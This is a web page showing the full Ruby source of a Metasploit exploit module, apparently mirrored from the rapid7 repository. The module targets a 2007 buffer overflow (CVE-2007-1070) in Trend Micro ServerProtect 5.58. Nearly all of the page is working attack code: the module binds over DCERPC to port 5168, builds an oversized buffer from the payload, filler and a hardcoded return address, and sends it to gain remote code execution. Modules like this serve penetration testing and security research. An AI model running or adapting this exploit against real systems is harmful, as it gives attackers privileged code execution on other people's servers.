Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Trend Micro ServerProtect 5.58 Buffer Overflow',
16
'Description' => %q{
17
This module exploits a buffer overflow in Trend Micro ServerProtect 5.58 Build 1060.
18
By sending a specially crafted RPC request, an attacker could overflow the
19
buffer and execute arbitrary code.
20
},
21
'Author' => [ 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
['CVE', '2007-1070'],
25
['OSVDB', '33042'],
26
['BID', '22639'],
27
],
28
'Privileged' => true,
29
'DefaultOptions' => {
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' => {
33
'Space' => 800,
34
'BadChars' => "\x00",
35
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
36
},
37
'Platform' => 'win',
38
'Targets' => [
39
[ 'Trend Micro ServerProtect 5.58 Build 1060', { 'Ret' => 0x6563124c } ], # CALL EBX - StCommon.dll
40
],
41
'DefaultTarget' => 0,
42
'DisclosureDate' => '2007-02-20',
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
51
register_options([ Opt::RPORT(5168) ])
52
end
53
54
def exploit
55
connect
56
handle = dcerpc_handle('25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
57
print_status("Binding to #{handle} ...")
58
59
dcerpc_bind(handle)
60
print_status("Bound to #{handle} ...")
61
62
filler = payload.encoded + rand_text_english(1600 - payload.encoded.length) + [target.ret].pack('V')
63
64
len = filler.length
65
66
# CMON_NetTestConnection
67
sploit = NDR.long(0x000a0017) + NDR.long(len) + filler + NDR.long(0)
68
69
print_status("Trying target #{target.name}...")
70
71
begin
72
dcerpc_call(0, sploit)
73
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
74
end
75
76
handler
77
disconnect
78
end
79
end
80
81